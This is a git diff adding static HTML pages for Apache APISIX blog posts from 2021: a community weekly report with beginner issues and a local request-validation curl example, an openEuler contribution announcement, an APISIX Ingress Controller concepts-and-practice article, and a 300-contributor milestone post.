+<p>Apache APISIX has grown as a community since the first day of open source and has quickly become the most active open source API gateway project in the world. These achievements could not have been achieved without the joint efforts of our community partners.</p>
+<p>“The Apache APISIX Community Weekly Newsletter hopes to help community members better grasp the weekly progress of the Apache APISIX community and facilitate your participation in the Apache APISIX community.</p>
+<p>We’ve also put together some issues for those new to the community!</p>
+<h2 id="contributor-statistics">Contributor statistics</h2>
+<p><img src="https://static.apiseven.com/202108/1632907894918-c455f40e-a175-4944-8fac-11c590d43786.jpg" alt="This week's contributor list"></p>
+<p><img src="https://static.apiseven.com/202108/1632908362102-b0b665e2-f37f-4a82-b8a3-68914925b565.jpg" alt="New contributors this week"></p>
+<h2 id="good-first-issue">Good first issue</h2>
+<h3 id="issue-5080">Issue #5080</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/5080">https://github.com/apache/apisix/issues/5080</a></p>
+<p><strong>Problem Description</strong>: Previously the upstream service used IP authentication and the actual client IP was obtained from the x-forwarded-for request header. Now I need to change to gateway HMAC authentication, so I need to block upstream IP authentication through the gateway. Tried to modify x-forwarded-for via the proxy rewrite plugin, but it did not work: !</p>
+<p><img src="https://static.apiseven.com/202108/1632799650125-14edb988-f2ad-434d-8d13-04ff3016eb5a.png" alt="Screenshot of problem description"></p>
+<h3 id="issue-5108">Issue #5108</h3>
+<p><strong>Link</strong>: <a href="https://github.com/apache/apisix/issues/5108">https://github.com/apache/apisix/issues/5108</a></p>
+<p><strong>problem description</strong>: as follows, when enabling the request validation plugin on a route:” delete ”</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/apisix/admin/routes/35</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'X-API-KEY: xxxxxxxxxxxxxxxxxxx'</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> PUT</span><span style="color:# [...]
+<span class="line"><span style="color:#A5D6FF">{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "uri":"/products/create",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "plugins":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "request-validation":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "body_schema":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "object",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "required":[</span></span>
+<span class="line"><span style="color:#A5D6FF"> "productName",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "price"</span></span>
+<span class="line"><span style="color:#A5D6FF"> ],</span></span>
+<span class="line"><span style="color:#A5D6FF"> "properties":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "productName":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "string"</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "price":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "number"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF"> },</span></span>
+<span class="line"><span style="color:#A5D6FF"> "upstream":{</span></span>
+<span class="line"><span style="color:#A5D6FF"> "service_name": "PRODUCTSSERVICE",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "type": "roundrobin",</span></span>
+<span class="line"><span style="color:#A5D6FF"> "discovery_type": "eureka"</span></span>
+<span class="line"><span style="color:#A5D6FF"> }</span></span>
+<span class="line"><span style="color:#A5D6FF">}'</span></span></code></pre>
+<p>Test it with the following command:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://127.0.0.1:9080/products/create</span><span style="color:#79C0FF"> -X</span><span style="color:#A5D6FF"> POST</span><span style="color:#79C0FF"> -d</span><span style="color:#A5D6FF"> '{"product-Name":"Laptop","p [...]
+<p>Get the following default message.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">property</span><span style="color:#A5D6FF"> "price"</span><span style="color:#A5D6FF"> is</span><span style="color:#A5D6FF"> required</span></span></code></pre>
+<h2 id="feature-highlights-of-the-week">Feature highlights of the week</h2>
+<ul>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5012">debug-mode support for dynamic request filtering</a> (contributor: <a href="https://github.com/tzssangglass">tzssangglass</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5068">support for injecting logic into APISIX methods</a> (contributor: <a href="https://github.com/spacewander">spacewander</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/4980">stream_route support for using CIDR in IP matching</a> (Contributed by <a href="https://github.com/Zheaoli">Zheaoli</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix/pull/5038">hmac-auth support for checksum request bodies</a> (Contributed by <a href="https://github.com/arthur-zhang">arthur-zhang</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix-ingress-controller/pull/685">APISIX Ingress controller integrates with cert-manager, so users can manage TLS certificates more easily and use it with APISIX Ingress</a> (Contributed by <a href="https://github.com/lingsamuel">lingsamuel</a>)</p>
+</li>
+<li>
+<p><a href="https://github.com/apache/apisix-dashboard/pull/1946">- APISIX Dashboard supports multiple profiles</a> (contributor: <a href="https://github.com/bzp2010">bzp2010</a>)</p>
+</li>
+</ul>
+<h2 id="recommended-blog-posts-for-this-week">Recommended blog posts for this week</h2>
+<ul>
+<li>
+<p><a href="http://apisix.apache.org/blog/2021/09/16/tencent-cloud">Apache APISIX Implementation Practice in Tencent Cloud Smart Titanium Platform</a>.</p>
+<p>This article introduces the enterprise case of using Apache APISIX in Tencent Cloud Intelligent Titanium Platform, and the specific example of using Apache APISIX as a product traffic gateway.</p>
+</li>
+<li>
+<p><a href="http://apisix.apache.org/blog/2021/09/07/how-to-use-apisix-auth">Using Apache APISIX for Centralized Authentication and Advanced Play</a></p>
+<p>This article introduces the authentication function of Apache APISIX, in terms of importance and playful usage, with detailed introduction and detailed usage.</p>
+</li>
+<li>
+<p><a href="http://apisix.apache.org/blog/2021/09/07/iQIYI-usercase">Apache APISIX-based, iQiyi API gateway update and landing practice</a></p>
+<p>By reading this article, you can learn how based on Apache APISIX gateway, the iQiYi technical team has updated and integrated the company’s architecture to create a new gateway service.</p>
+</li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/10/01/openeuler/index.html b/blog/2021/10/01/openeuler/index.html
new file mode 100644
index 00000000000..c1002b1b019
--- /dev/null
+++ b/blog/2021/10/01/openeuler/index.html
@@ -0,0 +1,14 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Apache APISIX community members help openEuler release first innovation version | Apache APISIX</title><meta name="description" content="Apache APISIX community members put a lot of effort into the OpenResty migration in the first community innovation release of openEuler."><meta name="robots" content="index,follow"><link rel="canonical" href="https://api [...]
+<p><a href="https://github.com/spacewander">Zexuan Luo</a> and <a href="https://github.com/moonming">Ming Wen</a> from the Apache APISIX community have done a lot of work in the first community innovation release of openEuler on September 30 (<a href="https://openeuler.org/">openEuler 21.09</a>), contributed a lot to the <a href="https://github.com/openresty/openresty">OpenResty</a> migration effort, allowing OpenResty to run smoothly and efficiently on the Euler open source OS. The stab [...]
+</blockquote>
+<!--truncate-->
+<p>Let’s get to know these two community members!</p>
+<p><a href="https://github.com/spacewander">Zexuan Luo</a>, Apache APISIX PMC, core developer of OpenResty, Maintainer of git-extras project, good at C, Golang and Lua, has written many technical articles, recommend reading <a href="https://apisix.apache.org/blog/2021/08/25/Why-Apache-APISIX-chose-Nginx-and-Lua">Why Why did Apache APISIX choose Nginx + Lua as the technology stack?</a>, “<a href="https://apisix.apache.org/blog/2021/06/30/etcd3-support-HTTP-access-perfectly">What’s the dif [...]
+<p><img src=“<a href="https://static.apiseven.com/202108/1633068755509-66b85782-ecca-43cc-bbcc-5a7b11cee0f4.png">https://static.apiseven.com/202108/1633068755509-66b85782-ecca-43cc-bbcc-5a7b11cee0f4.png</a>” alt=“罗泽轩” style={{width: “200px”}} /></p>
+<p><a href="https://github.com/moonming">Ming Wen</a>, Apache Member, Apache APISIX PMC Chair, core developer of OpenResty, former member of 360 Open Source Technical Committee, he has more than ten years development experience. He is the author of the Geek Time column “<a href="https://time.geekbang.org/column/intro/186">OpenResty from Introduction to Practice</a>”.</p>
+<p><img src=“<a href="https://static.apiseven.com/202108/1633068755501-b52403ee-c43a-4da7-9ca7-46bc457da6fa.png">https://static.apiseven.com/202108/1633068755501-b52403ee-c43a-4da7-9ca7-46bc457da6fa.png</a>” alt=“温铭” style={{width: “300px”}} /></p>
+<p>Apache APISIX has been growing as a community since the first day of open source. Apache APISIX partners are not only active in this community, but also actively participate in open source projects in other communities, which is the embodiment of the open source spirit, open source is not only open source code, but also open community, open mind, cooperation and mutual assistance between communities, and we contribute together to better open source products.</p>
+<p>In addition to the two community members, I would like to introduce Apache APISIX. openEuler’s first community innovation version (21.09) greatly enriches the cloud-native related infrastructure, <a href="https://github.com/apache/apisix">Apache APISIX</a> naturally has the advantages of cloud-native, supporting Bare metal, virtual machine, Kubernetes, ARM64, public cloud, hybrid cloud and many other deployment modes. We expect Apache APISIX to be applied to more businesses and more s [...]
+<p><img src="https://static.apiseven.com/202108/1633068859274-4db4d50e-2646-433b-94cf-b75727bf877e.png" alt="Apache APISIX Eco"></p>
+<h2 id="about-openeuler">About OpenEuler</h2>
+<p><a href="https://openeuler.org/">openEuler</a> is an open source, free Linux distribution platform that works with developers worldwide to build an open, diverse and architecturally inclusive software ecosystem through a community format. openEuler 21.09 is the first community innovation release of an open source operating system for digital infrastructure that It extends scenario-based applications such as cloud computing, edge computing, and embedded.</p> </article> </div> </main> [...]
\ No newline at end of file
diff --git a/blog/2021/10/09/apisix-ingress-techblog/index.html b/blog/2021/10/09/apisix-ingress-techblog/index.html
new file mode 100644
index 00000000000..96368a54fc0
--- /dev/null
+++ b/blog/2021/10/09/apisix-ingress-techblog/index.html
@@ -0,0 +1,103 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX Ingress Controller: Concepts and Practice | Apache APISIX</title><meta name="description" content="Learn what APISIX Ingress Controller is, how it maps Kubernetes Ingress resources to APISIX routes, and when to use it for Kubernetes traffic management."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org [...]
+<p>Jintao Zhang, Apache APISIX Committer, Kubernetes Ingress Nginx Reviewer, and contributor to several cloud-native open source projects.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="apache-apisix-ingress-overview">Apache APISIX Ingress Overview</h2>
+<h3 id="apache-apisix-ingress-definition">Apache APISIX Ingress Definition</h3>
+<p>In the K8s ecosystem, Ingress is a resource that represents the entry point for K8s traffic. To make it effective, an Ingress Controller is needed to listen to the Ingress resources in K8s and resolve the rules and actually carry the traffic for those resources. The most widely used Ingress Controller implementations in today’s trends are Kubernetes Ingress Nginx.</p>
+<p>APISIX Ingress is another implementation of the Ingress Controller. The main difference with Kubernetes Ingress Nginx is that APISIX Ingress uses Apache APISIX as the actual data plane that carries business traffic. As shown in the figure below, when a user requests a specific service/API/web page, the entire business traffic/user request is transferred to the K8s cluster through an external proxy and then processed by APISIX Ingress.</p>
+<p><img src="https://static.apiseven.com/202108/1633765366863-8964a75c-0c16-4683-ad9b-c8c83ac64ec6.png" alt="APISIX Ingress Architecture"></p>
+<p>As you can see from the above diagram, APISIX Ingress is divided into two parts. One part is the APISIX Ingress Controller, which is the control plane that will do the configuration management and distribution. The other part is the APISIX Proxy Pod, which is responsible for carrying business traffic and is implemented by means of CRD (Custom Resource Definitions).</p>
+<h3 id="apache-apisix-in-a-nutshell">Apache APISIX in a nutshell</h3>
+<p>We mentioned earlier that APISIX Ingress uses Apache APISIX as the data surface that actually carries business traffic, so what does the Apache APISIX project do?</p>
+<p><img src="https://static.apiseven.com/202108/1633765402660-6b20dd1c-bef6-4dcb-974e-fa80334e0623.png" alt="Apache APISIX Architecture"></p>
+<p>Apache APISIX is the top open source project of the Apache Foundation and is currently the most active open source gateway project. As a dynamic, real-time, high-performance open source API gateway, Apache APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, service meltdown, authentication, observability, and more.</p>
+<p>Apache APISIX helps enterprises handle API and microservice traffic quickly and securely with features such as flow-limiting authentication, logging security features, and support for rich custom plug-ins. There are also currently relevant integrations with many open source projects such as Apache SkyWalking, Prometheus and other such components.</p>
+<h2 id="apisix-ingress-vs-k8s-ingress-nginx">APISIX Ingress vs K8s Ingress Nginx</h2>
+<p>Since I am involved in the development and maintenance of both APISIX Ingress and K8s Ingress Nginx, many people ask me how to choose between these two projects. Or why do you want to do APISIX Ingress when you have K8s Ingress Nginx.</p>
+<h3 id="configuration-level">Configuration level</h3>
+<p>In APISIX Ingress, we have added some rich and flexible configurations, such as canary release deployment through a single configuration file. However, in K8s Ingress Nginx, you need at least two Ingress resource files to achieve the above effect.</p>
+<h3 id="richness">Richness</h3>
+<p>In terms of richness, because Apache APISIX is feature-rich and allows for multiple plugins, using APISIX Ingress eliminates the need to configure additional features yourself, allowing you to spend more time on actual development.</p>
+<h3 id="architecture-separation">Architecture separation</h3>
+<p>APISIX Ingress uses a separate architecture for the data plane and control plane, so users can choose to deploy the data plane inside/outside the K8s cluster. However, K8s Ingress Nginx puts the control plane and the data plane in the same Pod, so if something happens to the Pod or the control plane, the whole Pod will hang, which will affect business traffic.</p>
+<p>This architectural separation gives users a more convenient deployment option and facilitates data migration and usage in business architecture adjustment scenarios.</p>
+<h2 id="apisix-ingress-features-explained">APISIX Ingress Features Explained</h2>
+<p>Since Apache APISIX is a fully dynamic, high-performance gateway, APISIX Ingress itself supports full dynamics, including routing, SSL certificates, upstream, plug-ins, and more.</p>
+<p>APISIX Ingress also has the following features.</p>
+<ul>
+<li>CRD support for easier understanding of declarative configurations; while state checking ensures quick access to the synchronized state of declarative configurations</li>
+<li>Support for advanced route matching rules and custom resources, which can be extended with more than 50 official Apache APISIX plug-ins & customer-defined plug-ins</li>
+<li>Support for K8s native Ingress configuration</li>
+<li>Support for traffic slicing</li>
+<li>Support for gRPC plaintext and TCP Layer 4 proxy</li>
+<li>Automatic service registration and discovery, no fear of scaling up or down</li>
+<li>More flexible load balancing policy with health check function</li>
+</ul>
+<p>The following is a detailed introduction to CRD and custom resources.</p>
+<h3 id="crd-extensions">CRD Extensions</h3>
+<p>We mentioned CRD in the previous introduction, but how does APISIX Ingress use CRD extensions?</p>
+<p><img src="https://static.apiseven.com/202108/1633765449155-0e25f1d0-e62a-4c4f-ab9a-019f609ed5fb.png" alt="CRD Extensions"></p>
+<p>At the user level, when a request is made by a Client and arrives at Apache APISIX, the corresponding service traffic is directly transferred to the backend (e.g., Service Pod), thus completing the forwarding process. This process does not need to go through the Ingress Controller, which can ensure that if there are problems, or changes, expansion and contraction or migration processing, it will not affect the users and business traffic.</p>
+<p>On the configuration side, users can apply custom CRD configurations to K8s clusters via kubectl apply, and Ingress Controller will continuously watch these resource changes to apply the corresponding configurations to Apache APISIX.</p>
+<h3 id="custom-resources">Custom resources</h3>
+<p>APISIX Ingress currently supports the following 5 categories of custom resources related to routing, upstream, consumer, certificate related and cluster public configuration.</p>
+<h4 id="apisix-route">APISIX Route</h4>
+<p>The top-level configuration for the <code>spec</code> attribute in the custom resource APISIX Route is <code>http</code>. But actually <code>spec</code> supports both configurations, <code>spec.http</code> as in the example below, which is mainly used for Layer 7 proxies, and <code>spec.stream</code>, which is used for Layer 4 proxies. In the configuration file, we first customize a rule for it, namely the relevant parameter under match.</p>
+<p><img src="https://static.apiseven.com/202108/1633765501091-e64ff6e5-5e3e-4b0f-adcc-7ff418edb52c.png" alt="APISIX Route"></p>
+<p>As the above back-end configuration example uses the same Service, you can adjust it according to the scenario in actual use. Note that the <code>weight</code> attribute is used to configure the relevant service weight. With the above configuration, a complete set of routing customization resources can be implemented.</p>
+<h4 id="apisix-upstream-upstream">APISIX Upstream (Upstream)</h4>
+<p>When configuring APISIX Upstream, you need to pay attention to the content of <code>name</code> to be consistent with the Service of K8s cluster, so as to ensure that the subsequent APISIX Ingress Controller can accurately match its corresponding traffic.</p>
+<p><img src="https://static.apiseven.com/202108/1633765534667-3ce978ae-2d85-4de7-8a57-3c5be5f57604.png" alt="APISIX Upstream"></p>
+<p>In the configuration file, <code>spec.loadbalancer</code> is mainly responsible for setting the load balancing policy, and there are various policy modes to choose from. <code>spec.schem</code>e is for the protocol type configuration, currently only HTTP and gRPC protocols are supported. <code>spec.healthCheck</code> is mainly for setting the health check function, such as setting its active status, effective protocol and path and final feedback and other parameters configuration.</p>
+<h4 id="apisix-consumer">APISIX Consumer</h4>
+<p>The APISIX Consumer configuration mainly adds authentication-related features, such as <code>spec.authParameter</code>, which currently supports <code>BasicAuth</code> and <code>KeyAuth</code>, the two more common types of authentication.</p>
+<p><img src="https://static.apiseven.com/202108/1633765580844-9d17d699-fa45-4b43-9ed9-f8ea9c9cab48.png" alt="APISIX Consumer"></p>
+<p>You can configure the associated <code>username</code> and <code>password</code> directly with <code>value</code>, or directly with <code>secret</code>, which is more secure than the plaintext configuration of the former.</p>
+<h4 id="apisix-tls-certificate">APISIX TLS (certificate)</h4>
+<p>APISIX TLS is mainly for certificate management. As the example shows, users can configure multiple domains via <code>hosts</code>, and the parameters under <code>secret</code> are the corresponding configuration certificates.</p>
+<p><img src="https://static.apiseven.com/202108/1633765614989-88b363c2-3805-4159-abfc-bac1b055559b.png" alt="APISIX TLS"></p>
+<p>Apache APISIX TLS also comes with <code>spec.client</code> for configuring mTLS two-way authentication.</p>
+<h4 id="apisix-config">APISIX Config</h4>
+<p>The Config types supported by custom resources are described in two ways.</p>
+<p><img src="https://static.apiseven.com/202108/1633765647605-6ad1ba44-06fd-475d-a6ae-925b3cc9c1ce.png" alt="APISIX Cluster Config"></p>
+<p>One type is APISIX Cluster Config, which is mainly used for some generic configurations. Currently it supports global use of Prometheus plug-in/global configuration SkyWalking in K8s or Apache APISIX, and we will add some other generic configurations in subsequent development.</p>
+<p>Another one is the <a href="https://github.com/apache/apisix-ingress-controller/pull/689">APISIX Plugin Config</a> that we are currently working on in PR. If you are interested, you can also click the link to join the discussion. Plugin Config is mainly a unified collection of common plug-in configurations, for example, some of the same configuration, users can use APISIX Plugin Config to apply to multiple routes at the same time, eliminating the tedious steps of multiple independent [...]
+<h2 id="apisix-ingress-hands-on-practice">APISIX Ingress Hands-On Practice</h2>
+<p>Currently, you can deploy APISIX Ingress via <a href="https://github.com/apache/apisix-helm-chart">Helm Charts</a>. You can deploy both Apache APISIX and APISIX Ingress, including the etcd required for Apache APISIX, with a single command, which is very simple.</p>
+<p><img src="https://static.apiseven.com/202108/1633765686788-156b0641-aa78-4de8-833d-a187772470a5.png" alt="Installation Steps"></p>
+<h3 id="practice-scenario-1-traffic-segmentation">Practice Scenario 1: Traffic Segmentation</h3>
+<p>By using APISIX Ingress, you can achieve the effect of proportional traffic slicing, as follows.</p>
+<h4 id="step-1-configure-apisix-upstream">Step 1: Configure APISIX Upstream</h4>
+<p><img src="https://static.apiseven.com/uploads/2023/05/09/BpWGcRfs_au.png" alt="Configure APISIX Upstream"></p>
+<h4 id="step-2-configure-apisix-route">Step 2: Configure APISIX Route</h4>
+<p>Configure <code>subset</code> and <code>weight</code> in <code>backends</code> to split the incoming user request traffic. The example below shows that 90% of the traffic will go to v1 and 10% of the traffic will go to v2.</p>
+<p><img src="https://static.apiseven.com/uploads/2023/05/09/PoSvDlQJ_ar.png" alt="Configure APISIX Route"></p>
+<p>With the above two steps, it is very easy to slice and dice traffic proportionally to achieve scenarios like canary release.
+For more details, please refer to: <a href="https://www.apiseven.com/zh/blog/traffic-split-in-apache-apisix-ingress-controller">Traffic Segmentation in Apache APISIX Ingress Controller</a>.</p>
+<h3 id="practice-scenario-2-configuring-authentication">Practice Scenario 2: Configuring Authentication</h3>
+<p>If you want to configure Basic Auth for certain routes in APISIX Ingress, you can refer to the following actions.</p>
+<h4 id="step-1-create-apisix-consumer-resource">Step 1: Create APISIX Consumer resource</h4>
+<p>As mentioned earlier, you can add <code>basicAuth</code> to the APISIX Consumer configuration and specify a username and password for it.</p>
+<p><img src="https://static.apiseven.com/202108/1633765803898-7a30c663-7ba8-4064-8772-a19c56cef191.png" alt="Create Resource"></p>
+<h4 id="step-2-configure-the-apisix-route-and-add-authentication-related-parameters">Step 2: Configure the APISIX Route and add authentication-related parameters</h4>
+<p>In the custom resource APISIX Route, simply turn it on and specify the authentication type by adding <code>authenticatio</code>n to the backend.</p>
+<p><img src="https://static.apiseven.com/202108/1633765828596-9a0f0142-f201-4004-b85d-a34de4ee13dc.png" alt="Add authentication parameters"></p>
+<p>With the above steps, it is possible to use Consumer to complete the relevant configuration authentication.</p>
+<h3 id="practice-scenario-3-k8s-resource-extensions">Practice Scenario 3: K8s Resource Extensions</h3>
+<p>As we mentioned at the beginning, APISIX Ingress supports not only custom resources, but also K8s native Ingress resources.</p>
+<p><img src="https://static.apiseven.com/202108/1633765859904-bc48dcc5-cd7a-4875-b248-5c4c64a2d7c5.png" alt="K8s native resources"></p>
+<p>The image above shows the K8s Ingress resource. Normally if you want to do rewrite on a resource, you can add annotation configuration attributes. This way when the user carries the <code>httpbin.org</code> request, it can be redirected to /ip via the path /sample.</p>
+<p>When the above requirement uses APISIX Ingress, simply add a <code>kubernetes.io/ingress.class: apisix</code> to Ingress to specify the APISIX Ingress Controller to listen to this resource, and configure <code>k8s.apisix.apache.org/rewrite-target: "/ip"</code> to complete the redirection to the /ip path.</p>
+<p><img src="https://static.apiseven.com/202108/1633765888876-d2d252ee-706c-49f3-b630-03a7e72a0620.png" alt="APISIX Ingress Resources"></p>
+<p>The above example is just one of the ways APISIX Ingress currently supports native K8s Ingress, for more examples you can check the <a href="https://apisix.apache.org/docs/ingress-controller/practices/proxy-the-httpbin-service-with-ingress">specific documentation</a> for reference and use.</p>
+<h2 id="future-plans">Future Plans</h2>
+<p>APISIX Ingress will continue to be updated in terms of functionality and ecology, and the current phase has been completed <a href="https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/practices/manage-certificates-with-cert-manager.md">APISIX Ingress and Cert-manager integration</a>, and the following goals will be achieved step by step.</p>
+<ol>
+<li>complete Kubernetes V1.22+ and CRD V1 version adaptation support (completed, soon to be released in APISIX Ingress V1.3 version)</li>
+<li>support for Gateway API (expected in Q4)</li>
+<li>extend the new architecture to allow users to use APISIX Ingress without the need to use etcd</li>
+<li>enrich the product ecology and expand the APISIX Ingress community</li>
+</ol>
+<p>Finally, we hope you can participate in the project more often, for example, there will be an APISIX Ingress community meeting every two weeks on Wednesday at 2 pm, and we will synchronize the current progress of the project or the problems we encountered. Keep an eye on the Apache APISIX video to participate in the live community meetings.</p>
+<p><a href="https://github.com/apache/apisix-ingress-controller/issues/614">Click here</a> for more details about the APISIX Ingress community meetings.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href= [...]
\ No newline at end of file
diff --git a/blog/2021/10/13/celebrating-300-contributors-of-apisix/index.html b/blog/2021/10/13/celebrating-300-contributors-of-apisix/index.html
new file mode 100644
index 00000000000..05f5dca1b3c
--- /dev/null
+++ b/blog/2021/10/13/celebrating-300-contributors-of-apisix/index.html
@@ -0,0 +1,27 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>New milestone for APISIX - over 300 contributors worldwide! | Apache APISIX</title><meta name="description" content="The API Gateway Apache APISIX community has reached a new milestone, surpassing 300 contributors worldwide to projects related to Apache APISIX!"><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.o [...]
+<p>The Apache APISIX community has reached a new milestone of 300 contributors worldwide to projects related to Apache APISIX! Only 3 months have passed since the Apache APISIX main repository reached the <a href="https://apisix.apache.org/blog/2021/07/06/celebrate-200-contributors/">200 contributor milestone</a>! Thank you to the community contributors for their outstanding contributions in all aspects of code, documentation, operations, and more.</p>
+</blockquote>
+<!--truncate-->
+<p><img src="https://static.apiseven.com/202108/1634110612788-576eb5ea-d574-4d8e-891c-8f9fc90d955a.png" alt="Apache APISIX contributor graph"></p>
+<p>PS: Recommend reading “<a href="https://apisix.apache.org/zh/blog/2021/08/14/contributors-the-golden-metric-of-openSource-projects-en">Contributors, the golden metric of open source projects</a>, <a href="https://github.com/api7/contributor-graph">Contributor trends graph</a></p>
+<p>In January 2020 Apache APISIX released version 1.0, the first production version of Apache APISIX. Late last month Apache APISIX released the latest version <a href="https://apisix.apache.org/zh/blog/2021/09/29/release-apache-apisix-2.10/">2.10.0</a>, which is the 24th release of Apache APISIX. The Apache APISIX community maintains a fast and steady pace, with <strong>a new release every month</strong>. Every discussion, every PR, and every milestone of Apache APISIX is dependent on t [...]
+<p>There is no barrier to becoming an Apache APISIX contributor, and the Apache APISIX community includes not only contributions of code, but also documentation, testing, design, making videos, and more. Raising PRs or issues on Github, participating in discussions on mailing lists, sharing via live streams, helping people solve problems in networking groups, and attending Meetups are all ways to get involved in the community. Welcome to the Apache APISIX community!</p>
+<p><img src="https://static.apiseven.com/202108/1634110807125-883173f0-ddb2-4ad0-aafe-073a669bb7a0.jpg" alt="Apache APISIX contributors"></p>
+<h2 id="community-events">Community Events</h2>
+<p>The Apache APISIX community is very active, and contributors organize monthly events to help people better understand and apply Apache APISIX.</p>
+<h3 id="apache-apisix-meetup">Apache APISIX Meetup</h3>
+<p>2021 Apache APISIX hosts several offline and online Meetups with Apache APISIX PMC members, Committers, Contributors, and enterprise technologists to share best practices for Apache APISIX.
+Follow <a href="https://space.bilibili.com/551921247">Apache APISIX bilibili</a> for past recaps.</p>
+<h3 id="apache-apisix-ingress-online-discussion">Apache APISIX Ingress Online Discussion</h3>
+<p>The Apache APISIX Ingress project hosts bi-weekly online discussions to discuss PRs, issues, share best practices, insights and design ideas for Ingress, see <a href="https://github.com/apache/apisix-ingress-controller/issues/614">issues</a> for the online meeting address, and <a href="https://space.bilibili.com/551921247">bilibili video link</a> for a recap of past issues.</p>
+<h3 id="weekly-report">Weekly Report</h3>
+<p>This is a bi-weekly summary of Apache APISIX project features, bug fixes, community events, case studies, and more, to help you get up to speed on the latest developments in Apache APISIX.
+You can view the bi-weekly Weekly report by clicking Blog and selecting Events tag on the Apache APISIX official website.</p>
+<p>Past recommendations.</p>
+<ul>
+<li><a href="https://apisix.apache.org/zh/blog/2021/09/15/weekly-report">Community Weekly Report|Two new committers, feature highlights update in progress</a></li>
+<li><a href="https://apisix.apache.org/zh/blog/2021/08/30/weekly-report">Apache APISIX Community Weekly Report | 2021 8.23-8.29</a></li>
+<li><a href="https://apisix.apache.org/zh/blog/2021/08/23/weekly-report">Apache APISIX Community Weekly Report | 2021 8.16-8.22</a></li>
+</ul>
+<p>What kind of events do you want the Apache APISIX community to organize? Or want to be an organizer/volunteer for an event, feel free to discuss it on the <a href="https://apisix.apache.org/zh/docs/general/join">mailing list</a>!</p>
+<p>Apache APISIX community is thankful to have you, and we are looking forward to more people joining the Apache APISIX community. The Apache APISIX community is grateful to have you.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-eve [...]
\ No newline at end of file
diff --git a/blog/2021/10/14/weekly-report-1014/index.html b/blog/2021/10/14/weekly-report-1014/index.html
new file mode 100644
index 00000000000..22c2b0a689b
--- /dev/null
+++ b/blog/2021/10/14/weekly-report-1014/index.html
@@ -0,0 +1,53 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Bieekly Report (Oct 1 - Oct 14) | Apache APISIX</title><meta name="description" content="The Apache APISIX Community Weekly Newsletter hopes to help community members better understand the weekly progress of the Apache APISIX community."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/10/14/weekly [...]
+<p>From 10.1 to 10.14, 27 developers have committed 67 commits to Apache APISIX. Thank you to these folks for making the Apache APISIX project better with your selfless efforts!</p>
+</blockquote>
+<!--truncate-->
+<h2 id="introduction">Introduction</h2>
+<p>Apache APISIX has grown as a community since the first day of open source and has quickly become the most active open source API gateway project in the world. These achievements could not have been achieved without the joint efforts of our community partners.</p>
